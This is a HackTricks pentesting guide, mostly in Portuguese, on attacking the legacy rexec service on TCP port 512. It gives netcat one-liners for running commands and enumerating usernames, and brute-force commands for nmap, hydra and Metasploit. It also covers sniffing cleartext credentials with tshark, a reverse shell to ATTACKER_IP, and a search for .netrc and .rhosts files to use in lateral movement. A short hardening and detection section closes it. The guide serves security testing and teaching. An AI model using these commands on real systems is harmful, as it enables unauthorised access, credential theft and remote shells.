512 - Pentesting Rexec
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Rexec (remote exec) é uma das suítes originais r-services de Berkeley (juntamente com rlogin, rsh, …). Fornece uma capacidade de execução remota de comandos autenticada apenas com um nome de usuário e senha em texto claro. O protocolo foi definido no início dos anos 1980 (veja RFC 1060) e hoje em dia é considerado inseguro por design. No entanto, ele ainda está habilitado por padrão em alguns equipamentos UNIX legados ou conectados à rede, e ocasionalmente aparece durante pentests internos.
Porta Padrão: TCP 512 (exec)
PORT STATE SERVICE
512/tcp open exec
🔥 Todo o tráfego – incluindo credenciais – é transmitido sem criptografia. Qualquer pessoa com a capacidade de sniff the network pode recuperar o username, password e o comando.
Visão rápida do protocolo
- Cliente conecta-se ao TCP 512.
- Cliente envia três strings NUL-terminated:
- o número da porta (em ASCII) onde deseja receber stdout/stderr (frequentemente
0), - o username,
- a password.
- Uma string final NUL-terminated com o comando a ser executado é enviada.
- O servidor responde com um único byte de status de 8 bits (0 = sucesso,
1= falha) seguido pela saída do comando.
Se o primeiro campo for non-zero, o servidor abre uma segunda conexão TCP de volta ao cliente e a utiliza para stderr. Isto é útil tanto para manual testing quanto para fingerprinting filtering / firewall issues em torno do serviço.
Isso significa que você pode reproduzir a troca com nada mais do que echo -e e nc:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
Se as credenciais forem válidas, você receberá a saída de id diretamente na mesma conexão.
Se você quiser receber stderr em um listener dedicado, peça ao servidor para conectar de volta a você:
nc -lvnp 4444
printf '4444\0user\0password\0id; uname -a\0' | nc <target> 512
Muitas implementações comuns (por exemplo GNU rexecd) ainda impõem campos de nome de usuário/senha de 16 bytes e retornam mensagens de diagnóstico diferentes para nomes de usuário inválidos vs senhas inválidas. Isso importa durante a enumeration porque alguns alvos leak se a conta existe antes de você começar o brute forcing.
Uso manual com o cliente
Muitas distribuições Linux ainda incluem o cliente legado dentro do pacote inetutils-rexec / rsh-client:
rexec -l user -p password <target> "uname -a"
Se -p for omitido, o cliente solicitará interativamente a senha (visível na rede em texto claro!).
Para evitar deixar a senha no histórico do seu shell / na lista de processos, GNU rexec também suporta lê-la a partir de stdin:
printf '%s\n' 'password' | rexec -l user -p - <target> "id"
Isso não é mais seguro na network; apenas reduz a exposição local no attacking host.
Enumeration & Brute-forcing
Brute-force
Nmap
nmap -sV -p 512 <target>
# Confirm the classic exec service before credential attacks
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
The rexec-brute NSE usa o protocolo descrito acima para testar credenciais muito rapidamente.
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra tem um módulo dedicado rexec e continua sendo o bruteforcer offline mais rápido. medusa (-M REXEC) e ncrack (módulo rexec) podem ser usados da mesma forma.
Enumeração de nomes de usuário por meio de mensagens do servidor
Algumas implementações de rexecd expõem erros distintos, como Login incorrect. vs Password incorrect.. Se você observar esse comportamento, valide os nomes de usuário primeiro e só então force as senhas:
printf '0\0root\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
printf '0\0definitelynotreal\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
Se as mensagens diferirem, construa uma lista de valid-user antes de enviar um grande password spray.
Verificar serviços r relacionados
rexec itself uses password authentication, unlike rsh / rlogin trusted-host logic, but in practice they often arrive from the same legacy package (openbsd-inetd, inetutils, vendor UNIX bundles). If TCP 512 is open, immediately check TCP 513 and 514 as well because .rhosts / /etc/hosts.equiv abuse may offer easier lateral movement:
nmap -sV -p 512,513,514 <target>
Veja também:
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
O módulo abrirá um shell em caso de sucesso e armazenará as credentials no banco de dados.
Sniffing credentials
Porque tudo está em clear-text, network captures são inestimáveis. Com uma cópia do tráfego você pode extrair creds sem tocar o target:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark enable Decode As … TCP 512 → REXEC to view nicely-parsed fields.)
Dicas de pós-exploração
- Os comandos são executados com os privilégios do usuário fornecido. Se
/etc/pam.d/rexecestiver mal configurado (e.g.pam_rootok), root shells às vezes são possíveis. - Rexec ignora o shell do usuário e executa o comando via
/bin/sh -c <cmd>. Você pode, portanto, usar truques típicos de escape de shell (;,$( ), backticks) para encadear múltiplos comandos ou spawn reverse shells:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- Senhas são frequentemente armazenadas em
~/.netrcou em scripts de automação legados em outros sistemas; se você comprometer um host você pode reutilizá-las para lateral movement:
find / -xdev \( -name .netrc -o -name netrc -o -iname '*rexec*' -o -path '*/.rhosts' \) 2>/dev/null
Endurecimento / Detecção
- Do not expose rexec; replace it with SSH. Virtually all modern inetd superservers comment the service out by default.
- Se precisar mantê-lo, restrinja o acesso com TCP wrappers (
/etc/hosts.allow) ou regras de firewall e imponha senhas fortes por conta. - Monitore tráfego para :512 e por lançamentos do processo
rexecd. Uma única captura de pacotes é suficiente para detectar um comprometimento. - Desative
rexec,rlogin,rshjuntos – eles compartilham a maior parte da mesma base de código e fraquezas.
Referências
- Documentação do GNU Inetutils
rexecd/rexec– https://www.gnu.org/software/inetutils/manual/html_node/rexecd-invocation.html - Nmap NSE
rexec-brutedocumentation – https://nmap.org/nsedoc/scripts/rexec-brute.html
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


